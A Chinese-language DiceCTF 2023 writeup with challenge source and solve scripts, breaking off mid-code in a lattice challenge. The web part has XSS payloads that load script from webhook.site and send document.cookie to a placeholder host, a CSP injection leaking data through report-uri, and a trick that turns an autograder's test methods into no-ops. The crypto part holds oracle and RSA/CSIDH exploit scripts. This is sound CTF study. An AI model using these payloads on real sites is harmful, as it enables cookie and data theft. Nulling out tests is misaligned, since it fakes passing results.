DiceCTF 2023 WriteUps

發表於 2023-02-06

分類於 CTF

今年在 TSJ 裡面參加了 DiceCTF 2023，主要在解 web/crypto/misc 的題目而已。crypto 有幾題 PQC 的題目，而 web 難度真的高的讓我懷疑我不會 web…

題目名稱上有 * 的題目代表是我賽後才解的。

Web

recursive-csp

<?php if (isset($_GET["source"])) highlight_file(__FILE__) && die(); $name = "world"; if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { $name = $_GET["name"]; } $nonce = hash("crc32b", $name); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); ?> <!DOCTYPE html> <html> <head> <title>recursive-csp</title> </head> <body> <h1>Hello, <?php echo $name ?>!</h1> <h3>Enter your name:</h3> <form method="GET"> <input type="text" placeholder="name" name="name" /> <input type="submit" /> </form> <!-- /?source --> </body> </html>

可知 csp nonce 是用 crc32b(payload) 產生的，但是 payload 裡面又必須包含 nonce。一個簡單(且為預期解)的做法是直接爆就行了，可以直接硬爆或是先固定 payload 的 nonce 然後修改 payload 到目標的 crc。

不過我這邊就用一個 crypto 一點的作法，直接利用 crc 的 linear 性質就能讓它變成解 GF(2) linear system 了。概念類似我之前解 DEF CON CTF Qualifier 2022 - sameold 的做法，所以直接拿它的腳本來改:

from zlib import crc32 font-style:italic>def v2b(v): v = v[::-1] return bytes([int("".join(map(str, v[i : i + 8])), 2) for i in range(0, len(v), 8)]) font-style:italic>def b2v(b): v = [] for x in b: v.extend(list(map(int, f"{x:08b}"))) return v[::-1] font-style:italic>def i2v(i, n): return list(map(int, f"{i:0{n}b}"))[::-1] font-style:italic>def v2i(v): return int("".join(map(str, v[::-1])), 2) font-style:italic>def crcmat(crc, n, m): """ Recover matrix of crc by black box crc: crc function, bytes->int n: crc output bits m: crc input bits crc(x) = Ax+C x is n bits crc(x) is m bits A is m by n matrix Assuming bits reversed crc """ C = vector(GF(2), i2v(crc(v2b([0] * m)), n)) right = [] # left = [] for i in range(m): v = [0] * m v[i] = 1 # left.append(v) right.append(vector(i2v(crc(v2b(v)), n)) - C) # L = matrix(GF(2), left).T R = matrix(GF(2), right).T # A = R * L.inverse() # Note: L is identity matrix A = R return A, C font-style:italic>def find_append(crc, nb, msg, target): A, C = crcmat(crc, nb * 8, (len(msg) + nb) * 8) CC = A * vector(b2v(msg + b"\x00" * nb)) + C t = vector(i2v(target, nb * 8)) sol = A[:, : nb * 8].solve_right(t - CC) assert crc(msg + v2b(sol)) == target return v2b(sol) if __name__ == "__main__": # matrix recover test A, C = crcmat(crc32, 32, 128) msg = bytearray(b"x" * (128 // 8)) msg[-8:] = b"pekomiko" x = v2i(A * vector(b2v(msg)) + C) assert x == crc32(msg) # find crc(x) == x for 32 bits x # A*x+C=x # (A-I)*x=-C A, C = crcmat(crc32, 32, 32) x = v2b((A - matrix.identity(32)).solve_right(-C)) assert v2i(b2v(x)) == crc32(x) payload = b'<script nonce="00000000" src="https://webhook.site/37041121-8d88-4867-b9b7-eea88a0876f8"></script>' ap = find_append(crc32, 4, payload, 0) assert crc32(payload + ap) == 0 from urllib.parse import quote print(f"https://recursive-csp.mc.ax/?name={quote(payload + ap)}") # dice{h0pe_that_d1dnt_take_too_l0ng}

另外是 @remy_o 也有一個類似的解法，但是沒直接建 matrix 出來，並且還比較有效率:

from zlib import crc32 = """<script nonce="ffffffff">document.location="http://IP:PORT/"+document.cookie;</script>""" for seeds in range(1000): h = str(seeds) payload = script + h c = crc32(payload.encode()) cb = (0xffffffff ^ c).to_bytes(4, "little") if all(b < 128 and chr(b).isalnum() for b in cb): blob = payload.encode() + cb print(len(blob), repr(blob)) print(hex(crc32(blob)))

loop 的部分是為了讓 append 的東西是 printable 的，不過這題其實沒有要求這點所以可以忽略它。核心部分在於 crc32(x || ~crc32(x))=0xffffffff 這點上比較有趣。

我們知道 crc 和 GF(2) 的多項式運算有關: $R(x) \equiv M(x) x^n \pmod{G(x)}$ ，不過現實世界的 crc 在實作上比這個複雜很多，例如有 bit reversed 或是要對 message 做 bitwise not 等等的操作所以實際上並不只這樣而已。目前看到整理最好的是這個 writeup，它把 CRC 統整為:

\operatorname{CRC}(M) \equiv R \equiv (Mx^n+Y+(Y+I)x^b) \pmod{G}

$M$ 是 message
$Y$ 是 XOR-out，一個常數，例如 crc32 的話是 0xffffffff
$I$ 是 crc 初始值，以 crc32 來說預設為 0
$n$ 是 $G$ 的長度，例如 crc32 的話是 32
$b$ 是 $M$ 的長度，即 m.bit_length()

所以 crc32(x || ~crc32(x)) 相當於計算:

\begin{aligned} \operatorname{CRC}(Mx^n+R+Y) &\equiv ((Mx^n+R+Y)x^n+Y+(Y+I)x^{(b+n)}) \\ &\equiv (((Y+I)x^b)x^n+Y+(Y+I)x^{(b+n)}) \\ &\equiv ((Y+I)x^{(b+n)}+(Y+I)x^{(b+n)}+Y) \\ &\equiv Y \pmod{G} \end{aligned}

所以最後結果是 $Y$ ，也就是 0xffffffff，所以就得到了上面的結論。

scorescope

它是一個課程平台，可以上傳 python 上去解一些題目 (online judge)，不過它後面的幾題包含了 integer factorization 和 sha256 preimage 之類的，所以肯定不能正常解。

透過在測試函數中 raise Exception 就能 print 東西，例如以下可以 dump 出所有 modules:

import sys

def add(a, b):
    raise Exception(repr(sys.modules.keys()))

然後在裡面能找到幾個有趣的 module:

[..., 'test_1_add', 'test_2_longest', 'test_3_common', 'test_4_favorite', 'test_5_factor', 'test_6_preimage', 'test_7_magic', 'test_8_hidden', 'submission']

透過一些 dir 的配合可以知道它裡面都有一個 TestXXX 的 class，而 class 上面有 test_xxx 之類的 method 會從 submission (我們的 script) import 函數進來測試。透過 dis.dis 可知它裡面就像 unit test 使用一些 assert 的 function，所以只要把它 patch 成 noop 就能過了:

import sys


# without this test_add_mixed fails...
def add(a, b):
    return a + b


def noop(*args, **kwargs):
    return


for k in sys.modules:
    if k.startswith("test"):
        mod = sys.modules[k]
        for cname in dir(mod):
            if cname.startswith("Test"):
                cls = getattr(mod, cname)
                for fname in dir(cls):
                    if fname.startswith("test"):
                        setattr(cls, fname, noop)

不過我解這題的時候沒這麼簡單，因為我最初以為是要拿 RCE，所以用各種 pyjail 技巧想辦法繞，後來才發現它有個 util module 會上 seccomp 擋 open 所以就放棄了這條路。

*codebox

這題我沒能在賽中解掉 QQ

box.html:

<!DOCTYPE html>
<html lang="en">
<head>
  <title>codebox</title>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <style>
    * {
        margin: 0;
        font-family: monospace;
        line-height: 1.5em;
    }
    
    div {
        margin: auto;
        width: 80%;
        padding: 20px;
    }
    
    textarea {
        width: 100%;
        height: 200px;
        max-width: 500px;
    }

    iframe {
        border: 1px solid lightgray;
    }
  </style>
</head>
<body>
  <div id="content">
    <h1>codebox</h1>
    <p>Codebox lets you test your own HTML in a sandbox!</p>
    <br>
    <form action="/" method="GET">
        <textarea name="code" id="code"></textarea>
        <br><br>
        <button>Create</button>
    </form>
    <br>
    <br>
  </div>
  <div id="flag"></div>
</body>
<script>
    const code = new URL(window.location.href).searchParams.get('code');
    if (code) {
        const frame = document.createElement('iframe');
        frame.srcdoc = code;
        frame.sandbox = '';
        frame.width = '100%';
        document.getElementById('content').appendChild(frame);
        document.getElementById('code').value = code; 
    }

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
  </script>
</html>

web.js:

const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

簡單來說你的 html 會被放到一個 iframe sandbox，而其中的 img src 會放到 CSP header，所以可以 inject 一些東西進去。

而這題解法的關鍵其實和我之前出的 Nim Notes 有點類似，但我卻沒能看出要用 trusted types…。

<img src="; report-uri https://webhook.site/37041121-8d88-4867-b9b7-eea88a0876f8; require-trusted-types-for 'script'">

這樣的話任何對 innerHTML 的 assignment 都需要是 TrustedHTML，而 violation 就會被回報的指定的 report-uri。

不過上面 srcdoc 的 assignment 那邊也會觸發 violation，所以在傳 query parameter 時要讓它變成 ?code=&code=payload，這樣 searchParams 只會取第一個，但 node.js 那邊會把它視為 array，而 html parser 裡面會把它轉成 string 所以沒差。

https://codebox.mc.ax/?code=&code=%3Cimg+src%3D%22%3B+report-uri+https%3A%2F%2Fwebhook.site%2F37041121-8d88-4867-b9b7-eea88a0876f8%3B+require-trusted-types-for+%27script%27%22%3E

Flag: dice{i_als0_wr1te_csp_bypasses}

Crypto

Provably Secure

這題有兩把 RSA public key $pk_0, pk_1$ 和未知的 bit $i$ (m_bit)，encryption oracle 你需要兩個 message $m_0, m_1$ ，然後它會回傳 $E(pk_0, pk_1, m_i)$ 並把它加入 decryption oracle 的黑名單。

其中

E(pk_0, pk_1, m)=\operatorname{RSA-OAEP}(r, pk_0) || \operatorname{RSA-OAEP}(r \oplus m, pk_1)

而解密時就是

D(sk_0, sk_1, c)=\operatorname{RSA-OAEP}^{-1}(c_{firsthalf}, sk_0) \oplus \operatorname{RSA-OAEP}^{-1}(c_{secondhalf}, sk_1)

然而這題有個 unintende，就先和第二題做 diff 可知這題的 decryption oracle 在檢查時寫壞了:

85c85
<                 if in_ct in seen_ct:
---
>                 if in_ct.hex() in seen_ct:

所以把 ciphertext 直接送回去 decrypt 就能知道 m_bit 了。

from pwn import *
from tqdm import tqdm

m0 = b"a" * 16
m1 = b"b" * 16

# io = process(["python", "server.py"])
io = remote("mc.ax", 31493)
for _ in tqdm(range(1, 129)):
    io.sendlineafter(b"Action: ", b"1")
    io.sendlineafter(b": ", m0.hex().encode())
    io.sendlineafter(b": ", m1.hex().encode())
    ct = io.recvline().strip()

    io.sendlineafter(b"Action: ", b"2")
    io.sendlineafter(b": ", ct)
    res = bytes.fromhex(io.recvlineS().strip())
    m_bit = 0 if res == m0 else 1

    io.sendlineafter(b"Action: ", b"0")
    io.sendlineafter(b": ", str(m_bit).encode())
io.interactive()
# dice{yeah_I_lost_like_10_points_on_that_proof_lmao}

Provably Secure 2

這題基本上和前面一樣，不過這次的 decryption oracle 會正確檢查 blacklist，所以不能直接送回去。

我的做法用兩次 encryption oracle 加密:

$(0, 0) \rightarrow (E_0(r_0), E_1(r_0))$
$(m_0, m_1) \rightarrow (E_0(r_1), E_1(r_1 \oplus m_i))$

之後用兩次 decryption oracle 送:

$(E_0(r_0), E_1(r_1 \oplus m_i)) \rightarrow r_0 \oplus r_1 \oplus m_i$
$(E_0(r_1), E_1(r_0)) \rightarrow r_1 \oplus r_0$

所以把兩個 xor 就能得到 $m_i$ ，由此可得 $i$ (m_bit)。

from pwn import *
from tqdm import tqdm
from Crypto.Util.strxor import strxor

zero = b"\x00" * 16
m0 = b"a" * 16
m1 = b"b" * 16

# context.log_level = "debug"

# io = process(["python", "server.py"])
io = remote("mc.ax", 31497)
for _ in tqdm(range(1, 129)):
    io.sendlineafter(b"Action: ", b"1")
    io.sendlineafter(b": ", zero.hex().encode())
    io.sendlineafter(b": ", zero.hex().encode())
    ct0 = io.recvline().strip()  # [r0, r0 xor 0]
    io.sendlineafter(b"Action: ", b"1")
    io.sendlineafter(b": ", m0.hex().encode())
    io.sendlineafter(b": ", m1.hex().encode())
    ct1 = io.recvline().strip()  # [r1, r1 xor m]

    new_ct = ct0[:512] + ct1[512:]
    io.sendlineafter(b"Action: ", b"2")
    io.sendlineafter(b": ", new_ct)
    res0 = bytes.fromhex(io.recvlineS().strip())  # r0 xor r1 xor m
    new_ct = ct1[:512] + ct0[512:]
    io.sendlineafter(b"Action: ", b"2")
    io.sendlineafter(b": ", new_ct)
    res1 = bytes.fromhex(io.recvlineS().strip())  # r0 xor r1

    res = strxor(res0, res1)  # m
    m_bit = 0 if res == m0 else 1
    io.sendlineafter(b"Action: ", b"0")
    io.sendlineafter(b": ", str(m_bit).encode())
io.interactive()
# dice{my_professor_would_not_be_proud_of_me}

rSabin

這題其實一開始是 Kuruwa 解的，不過因為沒 script 所以還是自己再解了一次

import asyncio
import concurrent.futures
import traceback
from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

from nth_root import nth_root, chinese_remainder # not provided

class Server:
    def __init__(self):
        e = 17
        nbits = 512

        p = getPrime(nbits)
        q = getPrime(nbits)
        N = p * q

        self.p = p
        self.q = q
        self.N = N
        self.e = e

    def encrypt(self, m):
        assert 0 <= m < self.N
        c = pow(m, self.e, self.N)
        return int(c)

    def decrypt(self, c):
        assert 0 <= c < self.N
        mp = int(nth_root(c, self.p, self.e))
        mq = int(nth_root(c, self.q, self.e))
        m = chinese_remainder([mp, mq], [self.p, self.q])
        return int(m)

    def encrypt_flag(self):
        with open("flag.txt", "rb") as f:
            flag = f.read()

        key = RSA.construct((self.N, self.e))
        cipher = PKCS1_OAEP.new(key)
        c = cipher.encrypt(flag)
        c = bytes_to_long(c)
        return c


async def handle(a):
    S = await a.run(Server)
    while True:
        cmd = (await a.input("Enter your option (EDF) > ")).strip()
        if cmd == "E":
            m = int(await a.input("Enter your integer to encrypt > "))
            c = await a.run(S.encrypt, m)
            await a.print(str(c) + '\n')
        elif cmd == "D":
            c = int(await a.input("Enter your integer to decrypt > "))
            m = await a.run(S.decrypt, c)
            await a.print(str(m) + '\n')
        elif cmd == "F":
            c = await a.run(S.encrypt_flag)
            await a.print(str(c) + '\n')
            return

class Handler:
    def __init__(self, reader, writer, pool):
        self.reader = reader
        self.writer = writer
        self.pool = pool
    async def print(self, data):
        self.writer.write(str(data).encode())
        await self.writer.drain()
    async def input(self, prompt):
        await self.print(prompt)
        return (await self.reader.readline()).decode()
    async def run(self, func, *args):
        loop = asyncio.get_running_loop()
        return await loop.run_in_executor(self.pool, func, *args)
    async def __aenter__(self):
        return self
    async def __aexit__(self, exc_t, exc_v, exc_tb):
        self.writer.close()
        await self.writer.wait_closed()
        if exc_v is not None and not isinstance(exc_v, asyncio.TimeoutError):
            traceback.print_exception(exc_v)
        return True


async def main():
    with concurrent.futures.ProcessPoolExecutor() as pool:
        async def callback(reader, writer):
            async with Handler(reader, writer, pool) as a:
                await asyncio.wait_for(handle(a), 20)
        server = await asyncio.start_server(callback, '0.0.0.0', 5000)
        print('listening')
        async with server:
            await server.serve_forever()


if __name__ == "__main__":
    asyncio.run(main())

這題有無限次 RSA 的 encrypt/decrypt oracle，其中 $e=17$ ，不過拿完 flag ciphertext 之後就會斷開連線所以只能想辦法利用 oracle 分解 public key。

關鍵在於它的 decryption oracle 是使用 nth_root 結合 CRT 做的，其中的 nth_root 應該是 sage 的 implementation。

一開始是都沒想法，不過仔細一看會發現它沒檢查 $\gcd(e,p-1) \neq 1$ 或是 $\gcd(e,q-1) \neq 1$ 的情況，因為這個時候 $d \equiv e^{-1} \pmod{\varphi(n)}$ 根本不存在，所以在 $\mathbb{F}_p$ 下開 nth_root 會有些特別的行為。

我們知道 $\mathbb{Z}_p^*$ 的 order 是 $p-1$ ，假設 $e|p-1$ 代表

x^e \equiv y \pmod{p}

會有 $e$ 個不同的根，要求的話可以利用 $d' \equiv e^{-1} \pmod{(p-1)/e}$ 和 roots of unity 來求。

這邊可利用的地方就是在於它的根不是唯一的，所以假設 $\gcd(e,p-1)=e, \gcd(e,q-1)=1$ 的情況，對於 $x^e=2^{17}$ 在 $\mathbf{F}_p$ 下就有 $17$ 個解，但是在 $\mathbf{F}_q$ 下只有 $1$ 個解，也就是 $x=2$ 。

假設在 $\mathbb{F}_p$ 下求得的 $x$ 不是 $2$ ，那麼有:

\begin{aligned} x &\not\equiv 2 \pmod{p} \\ x &\equiv 2 \pmod{q} \end{aligned}

最後 CRT 得到的 $x$ 就會符合 $\gcd(x-2,n)=q$ ，這樣就可以分解 RSA 了。

之後在 decrypt 的時候要參考去年 nth_root 的做法把所有可能的 plaintext 都找出來，然後用 RSA OAEP unpad 看看是不是 flag。

from sage.all import *
from pwn import remote
from tqdm import tqdm
from Crypto.Util.number import *
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

# io = remote("localhost", 5000)
io = remote("mc.ax", 31370)


def enc(m):
    io.sendlineafter(b"> ", b"E")
    io.sendlineafter(b"> ", str(m).encode())
    return int(io.recvline().strip())


def dec(c):
    io.sendlineafter(b"> ", b"D")
    io.sendlineafter(b"> ", str(c).encode())
    return int(io.recvline().strip())


def flag():
    io.sendlineafter(b"> ", b"F")
    return int(io.recvline().strip())


n = reduce(gcd, [x**17 - enc(x) for x in range(2**512, 2**512 + 5)])
print(n)
# hoping that (p-1)%17==0 so it will be necessary to calculate the primitive root of p before calculating x as x^e=2^17 (mod n)
# then there will be 17 x such that x^e=2^17 (mod p), but only 1 x such that x^e=2^17 (mod q)
# therefore x = 2 (mod q) but x = ? (mod p), then we can get q by gcd(x-2, n)
x = dec(2**17)
p = gcd(x - 2, n)
if p == 1 or p == n:
    exit(1)
q = n // p
c = flag()


def oaep_unpad(x, n):
    while True:
        key = RSA.generate(1024)
        if key.n > n:
            break
    c = pow(x, key.e, key.n)
    c = long_to_bytes(c, (key.n.bit_length() + 7) // 8)
    cipher = PKCS1_OAEP.new(key)
    return cipher.decrypt(c)


for xp in GF(p)(c).nth_root(17, all=True):
    for xq in GF(q)(c).nth_root(17, all=True):
        m = int(crt([ZZ(xp), ZZ(xq)], [p, q]))
        try:
            flag = oaep_unpad(m, n)
            print(flag)
        except:
            pass
# while true; do python solve.py; ret=$?; [ $ret -eq 0 ] && break; done
# dice{rabin-williams-cryptosystem-in-disguise-3038e78caa07}

flag 說的其實就是 Rabin cryptosystem chosen ciphertext attack。

BBBB

這題是從 SECCON CTF 2022 - BBB 改來的，主要是 rng 的部分從 QCG 變成 LCG，而後面加密的部分有些不同。

首先目標還是很明確，就是要拿到五個 $e=11$ 的 ciphertext。這部分其實直接用我原本那題解 $f^5(11)=11$ 的方法解出 lcg $a$ 參數就可以了。然後後面要稍微爆一下直到得到 $f(11),f^2(11),f^3(11),f^4(11)$ 都是偶數時就能得到五個 $e=11$ 的 ciphertext。

接下來 encrypt 的時候是有五組 $(m+r_i)^e-c_i \equiv 0 \pmod{n_i}$ 的等式，直接 CRT 然後因為 $m$ 不大所以可以直接 coppersmith。這個其實就是 generalized hastad broadcast attack。之前 CakeCTF 2021 我就有遇過類似的題型了。

from sage.all import *
from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from os import urandom
from pwn import process, remote, context

context.log_level = "debug"

# io = process(["python", "bbbb.py"])
io = remote("mc.ax", 31340)
io.recvuntil(b"b=")
b = int(io.recvline().strip().decode())
io.recvuntil(b"p=")
p = int(io.recvline().strip().decode())

F = Zmod(p)
E = 11
P = F["x,a"]
x, a = P.gens()
f = a * x + b
g = f(f(f(f(f, a), a), a), a)(E, a) - E
print(g)
aa = g.univariate_polynomial().roots(multiplicities=False)
print(aa)


def check_seeds(seeds):
    return len(seeds) == 5 and all([s % 2 == 0 for s in set(seeds) - {E}])


for a in aa:
    print("=" * 40)
    P = F["x"]
    x = P.gen()
    f = a * x + b
    v = E
    seeds = set()
    for i in range(10):
        print(i, v)
        seeds.add(int(v))
        v = f(v)
    if check_seeds(seeds):
        break
print(f"{a = }")
print(f"{seeds = }")
if not check_seeds(seeds):
    print("bad seeds :(")
    exit(1)


io.sendlineafter(b": ", str(a).encode())
for seed in seeds:
    io.sendlineafter(b": ", str(seed).encode())

ct = []
for _ in range(5):
    io.recvuntil(b"Public Key:")
    io.recvuntil(b"n=")
    n = int(io.recvline().strip())
    io.recvuntil(b"e=")
    e = int(io.recvline().strip())
    io.recvuntil(b"r=")
    r = io.recvlineS().strip()[1:-1]
    io.recvuntil(b"Cipher Text: ")
    c = int(io.recvline().strip())
    if e != E:
        print("bad e :(", _)
        exit(1)
    ct.append((n, e, r, c))

P = ZZ["x"]
x = P.gen()
ff = []
nn = []
for n, e, r, c in ct:
    rn = int(r, 16)
    f = (x * 2**128 + rn) ** e - c
    ff.append(f)
    nn.append(ZZ(n))
f = crt(ff, nn)
M = product(nn)
f = f.change_ring(Zmod(M)).monic()
print(f)
print(M)
x = int(f.small_roots(epsilon=0.05))
print(long_to_bytes(x))
# while true; do python solve.py; ret=$?; [ $ret -eq 0 ] && break; done
# dice{r3s0rt_t0_LCG_4ft3r_f41l1ng_t0_m4k3_ch4ll}

另外是參考 @remy_o 所說的， $a=-1$ 的話 LCG 會變成 $x,b-x,x,b-x,\cdots$ ，那麼再送 $11, 13, 15, b-13, b-11$ 作為 seeds 的話就有不低的機率得到兩個 $e=11$ 的 ciphertext，兩個 $e=13$ 的 ciphertext 和一個 $e=15$ 的 ciphertext。

之所以這樣能成功是因為這題給的 bound 其實很鬆，flag + padding 大概只有 53 bytes 而每個 $n$ 都是 2048 bits。

seaside

#!/usr/local/bin/python

import ctypes
import os

from Crypto.Util.strxor import strxor
from Crypto.Hash import SHAKE128

PRIVATE_KEY_SIZE = 74
PUBLIC_KEY_SIZE = 64

# make libcsidh.so
libcsidh = ctypes.CDLL('./libcsidh.so')

def stream(buf, ss):
	pad = SHAKE128.new(bytes(ss)).read(len(buf))
	return strxor(buf, pad)

def keygen():
	priv = ctypes.create_string_buffer(PRIVATE_KEY_SIZE)
	pub = ctypes.create_string_buffer(PUBLIC_KEY_SIZE)
	libcsidh.csidh_private(priv)
	libcsidh.csidh(pub, libcsidh.base, priv)
	return priv, pub

def apply_iso(start, iso):
	end = ctypes.create_string_buffer(PUBLIC_KEY_SIZE)
	libcsidh.csidh(end, start, iso)
	return end

def invert(priv):
	exponents = [-e % 256 for e in bytes(priv)]
	return ctypes.create_string_buffer(bytes(exponents))

class Alice:
	def __init__(self, msg0, msg1):
		assert type(msg0) == bytes
		assert type(msg1) == bytes
		assert len(msg0) == len(msg1)
		self.msg0 = msg0
		self.msg1 = msg1
		self.priv0, self.pub0 = keygen()
		self.priv1, self.pub1 = keygen()

	def publish(self):
		return self.pub0, self.pub1

	def encrypt(self, mask):
		ss0 = apply_iso(mask, invert(self.priv0))
		ss1 = apply_iso(mask, invert(self.priv1))
		enc0 = stream(self.msg0, ss0)
		enc1 = stream(self.msg1, ss1)
		return enc0, enc1

class Bob:
	def __init__(self, bit):
		assert bit in (0, 1)
		self.bit = bit
		self.iso, self.ss = keygen()

	def query(self, pubs):
		pub = pubs[self.bit]
		mask = apply_iso(pub, self.iso)
		return mask

	def decrypt(self, encs):
		enc = encs[self.bit]
		msg = stream(enc, self.ss)
		return msg

if __name__ == '__main__':
	with open('flag.txt', 'rb') as f:
		flag = f.read().strip()

	msg0 = os.urandom(len(flag))
	msg1 = strxor(msg0, flag)

	alice = Alice(msg0, msg1)
	pub0, pub1 = alice.publish()
	print(f'pub0: {bytes(pub0).hex()}')
	print(f'pub1: {bytes(pub1).hex()}')

	'''
	bob = Bob(bit)
	mask = bob.query((pub0, pub1))
	'''

	mask_hex = input('mask: ')
	mask = ctypes.create_string_buffer(bytes.fromhex(mask_hex), PUBLIC_KEY_SIZE)
	enc0, enc1 = alice.encrypt(mask)
	print(f'enc0: {enc0.hex()}')
	print(f'enc1: {enc1.hex()}')

	'''
	msg = bob.decrypt((enc0, enc1))
	'''

這題是一個基於 CSIDH 的 oblivious transfer 題目。

首先 alice 會生成兩個 private key (isogeny) $[a_0], [a_1]$ ，然後得到兩個 public key (curve) $[a_0] E_0, [a_1] E_0$ 。

之後 bob 應該要自己選個 private eky (isogeny) $[b]$ 並選擇要拿哪個 message $i$ ，之後計算 mask $[b][a_i]E_0$ 。

最後 alice 拿到 mask 之後分別 apply $[a_0]^{-1}, [a_1]^{-1}$ 到 mask 得到兩個 shared secret: $[a_0]^{-1}[b][a_i]E_0, [a_1]^{-1}[b][a_i]E_0$ 。然後用這兩個 shared secret 分別加密兩個 message 回傳。

假設 $i=0$ 的話依照 commutative (CSIDH 的 C) 的性質可得第一個 shared secret 為 $[a_0]^{-1}[b][a_i]E_0=[b]E_0$ ，也就是 bob 的 public key，所以就能用它來解密第一個 ciphertext。

不過這題需要想辦法拿到兩個 message 才行，所以要找一些不同的方法。

我最一開始的想法是取 mask 為 $[a_1][a_0]E_0$ ，那麼最後的 shared secret 就是 alice 的兩個 public key，但是在只有 $[a_0]E_0, [a_1]E_0$ 的情況下，我們無法計算出 $[a_1][a_0]E_0$ 。

P.S. 因為 CSIDH 和 SIDH 很不一樣，所以之前的 Castryck-Decru Key Recovery Attack on SIDH 不能用。

後來的第二個想法是想說取 mask 為 $E_0$ (base curve)，那麼 shared secret 就是 $[a_0]^{-1}E_0, [a_1]^{-1}E_0$ ，直覺上會和 alice public key $[a_0]E_0, [a_1]E_0$ 有某些聯繫。

參考這份 slide 可知 private key 是一些小質數的 exponent，而 public key 是 $E_A/\mathbb{F}_p: y^2 = x^3 + Ax^2 + x$ 上的參數 $A$ 。

同時，在一般的 ECC 下我們知道 $(xG)_y=-(-xG)_y$ ，所以可以合理猜測這邊會不會有一樣的情況。首先我們可以從 csidh-latest.tar.xz 找到 CSIDH-512 的參數 $p$ ，然後直接把兩個 public key $[x]E_0, [x]^{-x}E_0$ 用 little endian decode，會發現兩個正好是 $\mathbb{F}_p$ 下的 additive inverse。

所以這樣就取 mask 為 $E_0$ ，然後利用 alice public key 的 inverse 就能解密兩個 message 拿到 flag 了。

from pwn import *
from Crypto.Util.strxor import strxor
from Crypto.Hash import SHAKE128


PRIVATE_KEY_SIZE = 74
PUBLIC_KEY_SIZE = 64
p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659


def invert_pub(pub):
    x = int.from_bytes(bytes(pub), "little")
    return (p - x).to_bytes(PUBLIC_KEY_SIZE, "little")


def stream(buf, ss):
    pad = SHAKE128.new(bytes(ss)).read(len(buf))
    return strxor(buf, pad)

"""
Explanation of the protocol:
We have
base ---------> pub0
|      priv0
|
|priv1
|
v
pub1

Then we are supposed to find a secret isogeny to map either pub0 or pub1 to mask, take pub1 for example
base ---------> pub0
|      priv0
|
|priv1
|
v          iso
pub1 -----------------> mask

Then Alice when take apply priv0^-1 and priv1^-1 to iso to get two shared secrets, then encrypt the messages respectively.



Attack:
If we take mask=base, then the shared secret will be apply_iso(base, priv0^-1) and apply_iso(base, priv1^-1), but CSIDH isn't broken (like SIDH) so we can't get the private keys.
Fortunately, I found that public keys (the A component of y^2=x^3+Ax^2+x) satisfy (apply_iso(base, priv)+apply_iso(base, priv^-1))=0 (mod p) for some reason.
So we can easily compute the final shared secret by computing additive inverse.
"""

# io = process(["python", "seaside.py"])
io = remote("mc.ax", 31336)
io.recvuntil(b"pub0: ")
pub0 = bytes.fromhex(io.recvline().decode().strip())
io.recvuntil(b"pub1: ")
pub1 = bytes.fromhex(io.recvline().decode().strip())

# base curve
io.sendlineafter(b"mask: ", (b"\x00" * PUBLIC_KEY_SIZE).hex().encode())

io.recvuntil(b"enc0: ")
enc0 = bytes.fromhex(io.recvline().decode().strip())
io.recvuntil(b"enc1: ")
enc1 = bytes.fromhex(io.recvline().decode().strip())

msg0 = stream(enc0, invert_pub(pub0))
msg1 = stream(enc1, invert_pub(pub1))
print(strxor(msg0, msg1))
# dice{b0p_it_pul1_1t_6op_it_pull_1t_pu1l_1t_b0p_it}

後來讀了作者的 writeup 才知道原來 $[a]^{-1}E_0$ 是 $[a]E_0$ 的 quadratic twist。quadratic 的意思是對於 $E/K: y^2=f(x)$ 的 curve 和一個 non square $d \in K$ 可以有 $dy^2=f(x)$ 。所以按照它頁面上的公式在 $d=-1$ 的情況下 $A$ 就被反了過來。

不過 sage 的 quadratic_twist 計算方法好像和 wiki 上寫的不太一樣，所以還要後面接 montgomery_model 才能得到我們想要的 curve 格式。另外是在 $p>3$ 的 finite field 下 quadratic twist 的 $d$ 其實不重要。(sage doc)

所以利用 sage 可以把 invert_pub 改寫為:

p = 5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
F = GF(p)


def invert_pub(pub):
    A = int.from_bytes(bytes(pub), "little")
    E = EllipticCurve(F, [0, A, 0, 1, 0])
    Ei = E.quadratic_twist().montgomery_model()
    A2 = int(Ei.a2())
    return A2.to_bytes(PUBLIC_KEY_SIZE, "little")

不過以效能上來說這個比我原本的差太多了 XD。

membrane

import numpy as np

# dimension
n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583

V = VectorSpace(GF(q), n)
S = V.random_element()

def encrypt(m):
    A = V.random_element()
    e = randint(-10, 10)
    b = A * S + m + p * e
    return A, b

def decrypt(A, b):
    A = V(A)
    m = ZZ(b - A * S)
    if m > q//2:
        m -= q
    m = ZZ(m % p)
    return m

def public_key_encrypt(public_key_samples_A, public_key_samples_b, msg):
    c = vector(ZZ, [randint(-1,1) for i in range(m)])
    e = randint(-10, 10)

    A = c * public_key_samples_A
    b = c * public_key_samples_b + msg + p * e
    
    return A,b


def keygen():
    public_key_samples_A = []
    public_key_samples_b = []
    for i in range(m):
        A, b = encrypt(0)
        public_key_samples_A.append(A)
        public_key_samples_b.append(b)
        
    public_key_samples_A = Matrix(GF(q), public_key_samples_A)
    public_key_samples_b = vector(GF(q), public_key_samples_b)
